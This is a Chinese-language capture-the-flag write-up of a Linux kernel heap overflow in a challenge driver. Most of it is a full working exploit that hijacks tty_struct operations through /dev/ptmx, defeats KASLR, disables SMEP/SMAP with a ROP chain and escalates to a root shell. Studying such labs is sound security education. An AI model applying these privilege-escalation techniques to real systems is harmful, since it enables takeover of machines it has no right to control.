Loading... 首先看一下启动参数 ```shell qemu-system-x86_64 \ -m 256M \ -nographic \ -kernel bzImage \ -append 'console=ttyS0 loglevel=3 oops=panic panic=1 kaslr' \ -monitor /dev/null \ -initrd initramfs.cpio \ -smp cores=4,threads=2 \ -cpu qemu64,smep,smap 2>/dev/null ``` 开启了 kaslr 和 smep,smap。 这道题是一个堆上溢出造成的 UAF,具体的,在 0x30002 功能,也就是 edit 功能处 <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/07/3828129584.png"></div> offset 和 user_buf_len 都是有符号数,所以通过输入负数就可以实现无限的前后向溢出。由于 slab/slub 对于大多等大小的 chunk 都是连续放置的,所以通过这个溢出可以实现 UAF 等攻击。 类似于 edit 功能,通过 0x30003 号功能可以实现前后读。 内核内存分配器,slab 或 slub 都类似于 fastbin,每个 chunk 的第一个 8 字都指向下一个空闲的 chunk,所以我们可以容易地 leak 出堆块地址 ```cpp int fd = open("/dev/hackme", O_RDWR); add(fd, 2, buf, 0x100); add(fd, 3, buf, 0x100); data_free(fd, 2); get_content(fd, 3, buf, 0x100, -0x100); size_t heap_addr = ((size_t* )buf)[0] - 0x200; printf("[+] heap_addr: 0x%lx\n", heap_addr); ``` 同样类似于 fastbin,由于我们可以完全控制前一个 chunk,也就是上面 poc 中的 2 号 chunk 的 next 指针,就可以做 fastbin attack,而且不需要考虑绕过乱七八糟的检测,实现任意地址读写,所以一个自然的想法是直接分配到 cred 结构体上,修改 id。但是这样需要泄露 cred 的地址,不是很好实现。所以学习到了 tty_struct attack 这种攻击方式。 ### tty_struct attack 在 /dev 目录中,有一个 ptmx 设备文件,任何用户都可读写之。在 open 它的时候,内核会为它分配一个 tty_struct 结构体,特别的,这个结构体没有和 kmalloc 隔离,会复用我们释放的大小合适的 chunk,其结构在 Linux 4.20.13 下为 ```cpp struct tty_struct { int magic; struct kref kref; struct device *dev; struct tty_driver *driver; const struct tty_operations *ops; int index; /* Protects ldisc changes: Lock tty not pty */ struct ld_semaphore ldisc_sem; struct tty_ldisc *ldisc; struct mutex atomic_write_lock; struct mutex legacy_mutex; struct mutex throttle_mutex; struct rw_semaphore termios_rwsem; struct mutex winsize_mutex; spinlock_t ctrl_lock; spinlock_t flow_lock; /* Termios values are protected by the termios rwsem */ struct ktermios termios, termios_locked; struct termiox *termiox; /* May be NULL for unsupported */ char name[64]; struct pid *pgrp; /* Protected by ctrl lock */ struct pid *session; unsigned long flags; int count; struct winsize winsize; /* winsize_mutex */ unsigned long stopped:1, /* flow_lock */ flow_stopped:1, unused:BITS_PER_LONG - 2; int hw_stopped; unsigned long ctrl_status:8, /* ctrl_lock */ packet:1, unused_ctrl:BITS_PER_LONG - 9; unsigned int receive_room; /* Bytes free for queue */ int flow_change; struct tty_struct *link; struct fasync_struct *fasync; wait_queue_head_t write_wait; wait_queue_head_t read_wait; struct work_struct hangup_work; void *disc_data; void *driver_data; spinlock_t files_lock; /* protects tty_files list */ struct list_head tty_files; #define N_TTY_BUF_SIZE 4096 int closing; unsigned char *write_buf; int write_cnt; /* If the tty has a pending do_SAK, queue it here - akpm */ struct work_struct SAK_work; struct tty_port *port; } __randomize_layout; ``` 注意到其中的 `const struct tty_operations *ops;` ops 指针,它指向一个 tty 操作虚表,定义为 ```cpp struct tty_operations { struct tty_struct * (*lookup)(struct tty_driver *driver, struct file *filp, int idx); int (*install)(struct tty_driver *driver, struct tty_struct *tty); void (*remove)(struct tty_driver *driver, struct tty_struct *tty); int (*open)(struct tty_struct * tty, struct file * filp); void (*close)(struct tty_struct * tty, struct file * filp); void (*shutdown)(struct tty_struct *tty); void (*cleanup)(struct tty_struct *tty); int (*write)(struct tty_struct * tty, const unsigned char *buf, int count); int (*put_char)(struct tty_struct *tty, unsigned char ch); void (*flush_chars)(struct tty_struct *tty); int (*write_room)(struct tty_struct *tty); int (*chars_in_buffer)(struct tty_struct *tty); int (*ioctl)(struct tty_struct *tty, unsigned int cmd, unsigned long arg); long (*compat_ioctl)(struct tty_struct *tty, unsigned int cmd, unsigned long arg); void (*set_termios)(struct tty_struct *tty, struct ktermios * old); void (*throttle)(struct tty_struct * tty); void (*unthrottle)(struct tty_struct * tty); void (*stop)(struct tty_struct *tty); void (*start)(struct tty_struct *tty); void (*hangup)(struct tty_struct *tty); int (*break_ctl)(struct tty_struct *tty, int state); void (*flush_buffer)(struct tty_struct *tty); void (*set_ldisc)(struct tty_struct *tty); void (*wait_until_sent)(struct tty_struct *tty, int timeout); void (*send_xchar)(struct tty_struct *tty, char ch); int (*tiocmget)(struct tty_struct *tty); int (*tiocmset)(struct tty_struct *tty, unsigned int set, unsigned int clear); int (*resize)(struct tty_struct *tty, struct winsize *ws); int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew); int (*get_icount)(struct tty_struct *tty, struct serial_icounter_struct *icount); int (*get_serial)(struct tty_struct *tty, struct serial_struct *p); int (*set_serial)(struct tty_struct *tty, struct serial_struct *p); void (*show_fdinfo)(struct tty_struct *tty, struct seq_file *m); #ifdef CONFIG_CONSOLE_POLL int (*poll_init)(struct tty_driver *driver, int line, char *options); int (*poll_get_char)(struct tty_driver *driver, int line); void (*poll_put_char)(struct tty_driver *driver, int line, char ch); #endif int (*proc_show)(struct seq_file *, void *); } __randomize_layout; ``` 也就是说我们对 ptmx 的所有操作都是通过这个虚表中的函数指针调用的,不难想到通过类似于 _IO_FILE 中对 vtable 的攻击来进行利用,也就是让 ptmx 的 tty_struct 使用一个我们可以控制的结构体,修改 ops 指针的值,使之指向一个我们可以控制的内核内存段(因为开启了 smep/smap,内核态不能访问用户态数据),劫持某函数指针(这里以 write 为例)就可以实现任意代码执行。两个条件都很好满足,如下。 ```cpp int fd = open("/dev/hackme", O_RDWR); add(fd, 0, buf, TTY_STRUCT_SIZE); add(fd, 1, buf, TTY_STRUCT_SIZE); data_free(fd, 0); add(fd, 2, buf, 0x100); add(fd, 3, buf, 0x100); data_free(fd, 2); get_content(fd, 3, buf, 0x100, -0x100); size_t heap_addr = ((size_t* )buf)[0] - 0x200; printf("[+] heap_addr: 0x%lx\n", heap_addr); int tty_fd = open("/dev/ptmx", O_RDWR); size_t fake_tty_vtable[0x20]; fake_tty_vtable[7] = magic_gadget; // haijack write data_free(fd, 3); add(fd, 3, (char *)fake_tty_vtable, 0x100); ((size_t* )buf)[3] = heap_addr + 0x100; edit(fd, 1, buf, TTY_STRUCT_SLAB_SIZE, -TTY_STRUCT_SLAB_SIZE); ``` 和用户态不同,劫持某函数指针为内核函数是难以完成提权的,ret2usr 的方法也不可行,所以这里的做法是栈迁移 rop。 首先,因为 bzImage 无法直接取出 gadges,先提取出 vmlinux,使用 [extract-vmlinux](https://github.com/torvalds/linux/blob/master/scripts/extract-vmlinux) 即可 ```shell extract-vmlinux bzImage > vmlinux ``` 然后用 ropper 和 ROPgadget 提取出 gadgets 即可。 回到题目,需要在执行 write 的时候只用一个 gadget 栈迁移到合适的地址上,首先观察一下执行到 write 的时候的寄存器环境 <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/07/1185861535.png"></div> leak 出的 chunk 是当前 chunk 的前一个chunk,可见 rax 就指向了当前的 chunk,也就是 fake_tty_operations 这张表,只要能把 rax 赋值给 rsp 就可以实现有效的栈迁移了,通过 ROPgadget 可以找到这个 gadget <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/07/1195168604.png"></div> 执行玩这个之后栈就会迁移到 fake_tty_operations[0] 处,我们在这里布置 rop 链即可。不过可以注意到,此处的空间有限,所以可以考虑再做一次栈迁移转到一个空间更加宽裕的位置上 rop。之后的 rop 可以考虑关闭 smap/smep ret2usr 提权拿 shell,也可以直接 rop 提权,前者可能会稍微方便一点。 那么最后的问题就是如何获得这些 gadgets 的地址了,因为开启了 kaslr,所以还需要做一个 leak。再 tty_struct 中有大量的内核数据,从中可以 leak 出代码段的地址。具体的,首先打出 tty_struct 中的数据 <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/07/869773901.png"></div> 可见第四个数据看起来很像代码段的数据,所以我们 cat grep 一下 ```shell cat /proc/kallsyms | grep ffffff99c25d80 ``` 就可以发现这是 ptm_unix98_ops 的地址。然后就可以得出各个内核函数(主要是 prepare_kernel_cred 和 commit_creds 这两个函数)和 gadget 的地址了。 ### exp ```cpp #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <unistd.h> #include <fcntl.h> #include <sys/ioctl.h> #define TTY_STRUCT_SIZE 0x2E0 #define TTY_STRUCT_SLAB_SIZE 0x400 size_t KERNEL_BIN_BASE = 0xFFFFFFFF81000000; size_t kernel_base; // rop chain size_t mov_cr4_rax_push_rcx_popfq_pop_rbp_ret = 0xffffffff8100252b; size_t pop_rax_ret = 0xffffffff8101b5a1; size_t swapgs_popfq_pop_rbp_ret = 0xffffffff81200c2e; size_t iretq = 0xffffffff81019356; size_t commit_creds = 0xffffffff8104d220; size_t prepare_kernel_creds = 0xffffffff8104d3d0; size_t push_rax_pop_rsp_ret = 0xffffffff810608d5; size_t pop_rsp_ret = 0xffffffff810484f0; size_t get_offed_addr(size_t raw_addr) { return (raw_addr - KERNEL_BIN_BASE + kernel_base); } void update_gadgets_addr() { mov_cr4_rax_push_rcx_popfq_pop_rbp_ret = get_offed_addr(mov_cr4_rax_push_rcx_popfq_pop_rbp_ret); pop_rax_ret = get_offed_addr(pop_rax_ret); swapgs_popfq_pop_rbp_ret = get_offed_addr(swapgs_popfq_pop_rbp_ret); iretq = get_offed_addr(iretq); commit_creds = get_offed_addr(commit_creds); prepare_kernel_creds = get_offed_addr(prepare_kernel_creds); push_rax_pop_rsp_ret = get_offed_addr(push_rax_pop_rsp_ret); pop_rsp_ret = get_offed_addr(pop_rsp_ret); } struct DATA { unsigned int idx; int dummy; char* buf; long long buf_len; long long offset; }; void add(int fd, unsigned int idx, char* buf, long long buf_len) { struct DATA tmp; tmp.idx = idx; tmp.buf = buf; tmp.buf_len = buf_len; tmp.offset = 0; ioctl(fd, 0x30000, &tmp); } void data_free(int fd, unsigned int idx) { struct DATA tmp; tmp.idx = idx; ioctl(fd, 0x30001, &tmp); } void edit(int fd, unsigned int idx, char* buf, long long buf_len, long long offset) { struct DATA tmp; tmp.idx = idx; tmp.buf = buf; tmp.buf_len = buf_len; tmp.offset = offset; ioctl(fd, 0x30002, &tmp); } void get_content(int fd, unsigned int idx, char* buf, long long buf_len, long long offset) { struct DATA tmp; tmp.idx = idx; tmp.buf = buf; tmp.buf_len = buf_len; tmp.offset = offset; ioctl(fd, 0x30003, &tmp); } size_t user_cs, user_gs, user_ds, user_es, user_ss, user_rflags, user_rsp; void get_user_stat() { __asm__ (".intel_syntax noprefix\n"); __asm__ volatile ( "mov user_cs, cs;\ mov user_ss, ss;\ mov user_gs, gs;\ mov user_ds, ds;\ mov user_es, es;\ mov user_rsp, rsp;\ pushf;\ pop user_rflags" ); printf("[+] got user stat\n"); } char buf[0x500] = {0}; void get_root() { void* (*pkc)(int) = (void*(*)(int)) prepare_kernel_creds; void (*cc)(void*) = (void(*)(void*)) commit_creds; (*cc)((*pkc)(0)); //puts("commited!\n"); } void get_shell() { printf("[-] uid = %d", getuid()); if (getuid() == 0) { puts("[+] root now!"); system("/bin/sh"); } else { puts("err: not root"); system("/bin/sh"); exit(-1); } } int main() { get_user_stat(); int fd = open("/dev/hackme", O_RDWR); printf("fd: %d\n", fd); if (fd < 0) { return -1; } add(fd, 0, buf, TTY_STRUCT_SIZE); add(fd, 1, buf, TTY_STRUCT_SIZE); data_free(fd, 0); add(fd, 2, buf, 0x100); add(fd, 3, buf, 0x100); data_free(fd, 2); get_content(fd, 3, buf, 0x100, -0x100); size_t heap_addr = ((size_t* )buf)[0] - 0x200; printf("[+] heap_addr: 0x%lx\n", heap_addr); int tty_fd = open("/dev/ptmx", O_RDWR); get_content(fd, 1, buf, TTY_STRUCT_SLAB_SIZE, -TTY_STRUCT_SLAB_SIZE); size_t ptm_unix98_ops_addr = ((size_t*)buf)[3]; printf("[+] ptm_unix98_ops: 0x%lx\n", ptm_unix98_ops_addr); kernel_base = ptm_unix98_ops_addr - 0x625D80; printf("[+] kernel_base: 0x%lx\n", kernel_base); update_gadgets_addr(); printf("[+] prepare_kernel_cred: 0x%lx\n",prepare_kernel_creds); size_t rop_chain[0x20]; int i = 0; rop_chain[i++] = pop_rax_ret; rop_chain[i++] = 0x6F0; rop_chain[i++] = mov_cr4_rax_push_rcx_popfq_pop_rbp_ret; // disable smap, smep rop_chain[i++] = 0; rop_chain[i++] = (size_t) get_root; // ret2usr rop_chain[i++] = swapgs_popfq_pop_rbp_ret; rop_chain[i++] = 0; rop_chain[i++] = 0; rop_chain[i++] = iretq; rop_chain[i++] = (size_t) get_shell; rop_chain[i++] = user_cs; rop_chain[i++] = user_rflags; rop_chain[i++] = user_rsp; rop_chain[i++] = user_ss; add(fd, 2, (char *)rop_chain, 0x100); size_t fake_tty_vtable[0x20]; fake_tty_vtable[7] = push_rax_pop_rsp_ret; fake_tty_vtable[0] = pop_rsp_ret; fake_tty_vtable[1] = heap_addr; data_free(fd, 3); add(fd, 3, (char *)fake_tty_vtable, 0x100); ((size_t* )buf)[3] = heap_addr + 0x100; edit(fd, 1, buf, TTY_STRUCT_SLAB_SIZE, -TTY_STRUCT_SLAB_SIZE); puts("ready for trig"); write(tty_fd, buf, 0x800); return 0; } ``` 最后修改:2021 年 07 月 16 日 © 允许规范转载 打赏 赞赏作者 支付宝微信 赞 6 如果觉得我的文章对你有用,那听听上面我喜欢的歌吧